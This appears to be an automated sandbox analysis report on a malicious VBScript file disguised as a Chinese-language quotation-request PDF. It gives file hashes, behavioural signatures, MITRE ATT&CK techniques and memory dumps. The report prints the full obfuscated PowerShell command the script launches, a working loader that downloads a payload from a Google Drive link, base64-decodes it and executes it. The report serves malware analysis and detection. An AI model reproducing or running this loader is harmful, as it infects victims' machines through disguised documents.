424d1b064b6e0a04e251193013187b35a779473df7411dcc285dc1284cf618d7

General

Target

NTU 報價請求項目 FMD2024UOS·pdf.vbs
Size

15KB
MD5

7a8593917a881f736dae40fd3e739aa9
SHA1

86f696ac97647bac9ef92b24e0818a97a70aee53
SHA256

424d1b064b6e0a04e251193013187b35a779473df7411dcc285dc1284cf618d7
SHA512

66ee428b08ac48a8550eeec67d3f41540dfb792e24408bb84a08888c69468dec834d0cff167cb62790f14277d35d173f239ee59b4af1c4fddd6b29b6169ed132
SSDEEP

192:qzb9JpgciToUkIWTErzlS8HIYVFlXQNE7VrMPQ2cV3766aT0VA:SbLuXTiTErZSCH3gNEmyPVA

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

WScript.exe

flow pid process

3 1292 WScript.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2948 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2948 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2948 powershell.exe

flow	pid	process
3	1292	WScript.exe

pid	process
2948	powershell.exe

pid	process
2948	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2948	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1292 wrote to memory of 2948	1292	WScript.exe	powershell.exe
PID 1292 wrote to memory of 2948	1292	WScript.exe	powershell.exe
PID 1292 wrote to memory of 2948	1292	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\NTU 報價請求項目 FMD2024UOS·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#agamemnon Rentekoder Hypaton Sumpegnenes #>;$Decursion='Brancher';<#Haploses Lecanine Phorrhea Xylomancy #>; function Feltprovsts($Whitethorn93){If ($host.DebuggerEnabled) {$merginae++;}$Arrestants=$Zoea+$Whitethorn93.'Length' - $merginae; for ( $Valgteknisk=4;$Valgteknisk -lt $Arrestants;$Valgteknisk+=5){$Sengekanten132=$Valgteknisk;$Fremtidsmulighedernes185+=$Whitethorn93[$Valgteknisk];}$Fremtidsmulighedernes185;}function Bstrup($Centrifugalpumpe){ & ($Lotuses) ($Centrifugalpumpe);}$kisra=Feltprovsts 'AdmoM UlkoSkilzVeheiO.enlblanlConcaEbcd/Tele ';$Forestful=Feltprovsts 'BenzTSpralPosisSugg1 Hyl2Vurd ';$Anetavlerne=' nex[ AnuNDommE rooTPict. umS.ingeE sprM rav rdi Polc onrEDiskpIndbOCrioINonmn ImbtFlorm He A nsuNSonaARoamgTer,ElapiRAbri]Hapl:Perv:FalsSKonteKaldCAlteU Ba.rUn aiKvgptK tcYAfstpModsR NumoHe,dt elo agtCUnadoEarwlForu=W ol$A.etFAndeOQuarR coleBogsSAmphTChefF M rUO.ziLKako ';$kisra+=Feltprovsts 'Sk l5 Afs. Reg0Awhe Ulm,(zelaW KuliEskanFor.dShi oBanewFodbsSego ForeNAutoT,ail Fali1 Udk0Kokk.S,ip0Sp.r; Sub Ru.nW.eltiAri.nHelt6sf,r4Sign;Fo,s Commx cyt6Refu4Epan; Si Pho r anvGain: K.l1Pejs3Musi1Poco.lav 0Slbe)Appr Sub GJordeElemcTanakSupeoShlu/Prog2Diab0had 1Bi e0Ansl0Udl,1 A s0Char1Peas TjrF.remiDemor rhveUnprfD.yloCactxCa p/U pr1Bi d3Hydr1Offe.Supp0M ul ';$Polar=Feltprovsts 'CockUDagbsSagiePantRForr- KonAGrusgtamaEAgl.nK,ltTOvis ';$Misbelieving=Feltprovsts 'Sch hDatatTramtMisspB.res f,e: K t/Tril/.movdTaagrBkkei KirvSubsetvan. TingTrsko nano OvegTryglChrye No .PortcFo so E.om ub/Po puKimbc All?P unequeexTracpUdkro AutrPreit ,ea=Eat.d B.loB,llwSc onSubclAnkeohejsaP osdAdel&SlaniTidsd Hin=Nonz1Jarrv Quil SmaiTesknPleoaSi twBuesC P rC,ageD UnmdGrecnZen Caffr8A.opGRkenaUpr rfarmsBar rUnf,IPran_ Ek ERep oInsaya toHWale1 ManNHemiC carS Ove5Fuml8 Un,C UncwBr e ';$Bevilliget=Feltprovsts 'Auto>Sabb ';$Lotuses=Feltprovsts 'TricI herEFingXDire ';$Valgtekniskmpinge='Slverglderne';$Maltsters='\Inflicts.Kol';Bstrup (Feltprovsts ' Mi $B.kmg usLNephO ffebForpaViaml upe: DesS TyvtallertherASyllp ortPPer.eKultTGuds=Tryk$tallEggehN Sgev Str: M sAVisiPHderpDu eDR,anAHatttPergaGard+ til$SortmdumbaBekol Ci.TByggsMunitSaksePinar P asmega ');Bstrup (Feltprovsts 'Elev$ HstGSameL GreoD.libBarba UdlL Sph:j dgr,rokaVedhALineKTurnORegnsBygnTModej FraeRhinrStreNBolv=Kitt$PkwyM.atuIm.weS Bl,bOvere B wL Fo iSkr e BikvStvsISkranDomsgunde.synsS mgrp yrlAgnoI Tott S k(Mowl$GaibBBlomE C uvAt.oIUndeL FryLBaudIO ttgAf,oeUberTStr ) Cat ');Bstrup (Feltprovsts $Anetavlerne);$Misbelieving=$Raakostjern[0];$Cynoxylon9=(Feltprovsts 'Dukk$Un oGSid LRektO Pe.B yroASav,l lus:BodeCZamboSparr avrValuA.nvosthadICos oChalnNagk1Cont2Him,1 O,p=ArchNGange UniWSkil-SmaaOIcelBA miJPy aeRokkCPartTJa,u Gup.SE teYEwassMatrTNordE AnamPoli. OppnKorneTndct Non.E lewPersE DecBFeriCSul,lKrici,ompeI,jiNRiddtanti ');Bstrup ($Cynoxylon9);Bstrup (Feltprovsts 'Bigr$Un oC,atuoTilbrOverrIonia NonsIncoi ImmoDiscnHal,1Fors2 Isf1.ame.Pen HT.roe CoaaUnfidMoste nker la,sCloc[ ,ng$CeruPAlveoD vilStr aSpdbr Ext]flas=Cuff$ GrokSo.riHaemsMockrSperaTal ');$Gnomic=Feltprovsts ' opv$ArtiC .ipoKa.irChibr igtaSskes iltiGratoSmrrnMona1 sup2Comm1F tt.Ge.mDPolyo tilw st n StnlSpgeoBelia Sv dSte FDogbiB hol,fgaeSkyl(Unex$ DuaMG ssi Hyps.igsbSahaePrimlRabaiKoffeUnm v.ncaiRessn alkg ,tj,Phar$.aksKT knn Sexi,hesrVangkIndveNonprDes iGamoeBic rolie) Tha ';$Knirkerier=$Strappet;Bstrup (Feltprovsts ' P i$F.legSbekLSl poLeprBskemaUn clUnst:til b TitL nopvGlamr ForeT.rpd skre For=Imag( ngsTHemoEGameSLo,qT Fly-Vk tpAppra CacT TyrHUnse Ro $ aviK PenNSlynIUngiRHos,KBra E AutRElekipup.E Trar Lo,)Diat ');while (!$Blvrede) {Bstrup (Feltprovsts ' No $DerhgTyggl alsoKrepb Ga aRaptlUdlu:MidsAWartb U fjN,neeAf.icParat andn Bo.eDigts RhesOc.a=Fluo$abtutacinrTrenuUnsleDrug ') ;Bstrup $Gnomic;Bstrup (Feltprovsts ' rouSJagttU,faAI drRBractLuna-CoucS K flBorgEnaphESupePNavl Use4Rezo ');Bstrup (Feltprovsts 'Cop $ UndGFarvLPat O Pu B,ulpaWorsL dre:Sch.b B alMurivK.rorStraeGaleD UndEAkac=Pret(Sk ttTjleeCe,bs EsttA,en- O ePBlomaSt dTknivHP.em Ord$Myelk F sNDunkiSnigr.ormk BrdEAnteRTimeiFodleThorR Kru),ini ') ;Bstrup (Feltprovsts ' Lur$flskGligeLFo,dO TymBThyrAGrunLAcce: putcPropoGor EI kbnMystzS neySolfm T nAJespTKberI FuncRoug= Fi $Snu GPatrLGldeoObjeb AntANegoLSele: UnpR peruPrveSPleue ellRGlacN Bree Kap+Ahea+ S,r% Kvl$u,orRVeinAT.ltASmokK,vioOPampsBjrgtRe.eJTerrEAnpaRD.scNReor.PlesCMegroroc USk snRystt Klu ') ;$Misbelieving=$Raakostjern[$Coenzymatic];}$Sympathique=315454;$Rhatanies=31106;Bstrup (Feltprovsts ' ugl$ SubgdlvyLCameo Un,bKnudaFjorLChef:MellkSmedy Ya,s Snut MonkUne lA phIMonomSmdeaMyose Mart m s riv=Bear d rigSoveeb dgtPres-RehnCHystoT arnS urTNongELiseNUdk,t ele Ineb$RugkKOxyaN Lsei Mo rPortKIso,E F.nrPhociAntiEUn.lr ,it ');Bstrup (Feltprovsts 'Brsr$ Forg estlKostoI dsbInfiaprocl,art: IradMilie blid FejiJordkCh na AdetSik,iColuo ThenEucgs GraeSyerk Brns.teleRaadmSamspDrejlCo.raS nor edaeCigardialnElekeAssesV nv Refu=Allo Mill[vrleSMi,iyUnlisIndatTr.pe Svim K s.OeilCKalkoSuggnA.stvHeaveTag rVaretSina] Ene: ro:Ko.mF Indr oxpoShotmForaB nda vrssa ieSk.t6S ri4Hg,pSov rtIdiorBookiOchfnOut gTriv(Rebr$Ci iKHypey aftsdiskt .ackEleklUdtri mkkmSulka Supe ,ectTorb)Enef ');Bstrup (Feltprovsts 'Vurd$SkivGFgtnL copOPre BsexoAOrculMa,d:DesoVVitiI nsuc MinEr weL .coIsta KskeeEGe,z Impu=.ext regg[Antis snYMuttsPo eTNymaeGaapM iru.TuritPoole lnsxsyslt ong.Kbe e NewnPrelCKoraO TraD ReciU stN Gc Gblte]Kern:Tote: Vsea.ncosB whCUnoiiBenwiCirc. Mi GMandeRdhat afbsBoucT,rapRSa vit aaNUdleGByeg(,uto$ S ld komeC,amDOverIOchoK kriATrocT nhIEnhaOPeriNFlansskrue IarKRdbrsFe tECo.eMi teptrapL T.oARungrDataeLabbrDropN PneeSupesProd)Reco ');Bstrup (Feltprovsts 'Red.$MetrgSvu lTeglOStatbunc.a LaslB,rd: bedpP etoQuadt ChoeK.rasRegit quaA efrTRec E Mis=Frer$UnduVKargITvisC TveE linl ArbIM ndKKlasE lf. .crSFoulUEm,rbUn,eStoaktBeguRstiniTurrnBor GBaro( ith$Begys ,xpYMar,MSoegPF.rsAKonttStavHMumliAgilq Kemu IndESm,s, ,il$ M,trWageH ,taaSlovtb,bbaCatiN ildiEromEGa.oSUnu )Cupo ');Bstrup $Potestate;"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\CabA057.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
memory/2948-20-0x000007FEF540E000-0x000007FEF540F000-memory.dmp

Filesize
4KB

Download
memory/2948-21-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2948-22-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2948-23-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-25-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-24-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-26-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-27-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-28-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-29-0x000007FEF540E000-0x000007FEF540F000-memory.dmp

Filesize
4KB

Download
memory/2948-30-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-31-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-32-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-33-0x000007FEF5150000-0x000007FEF5AED000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing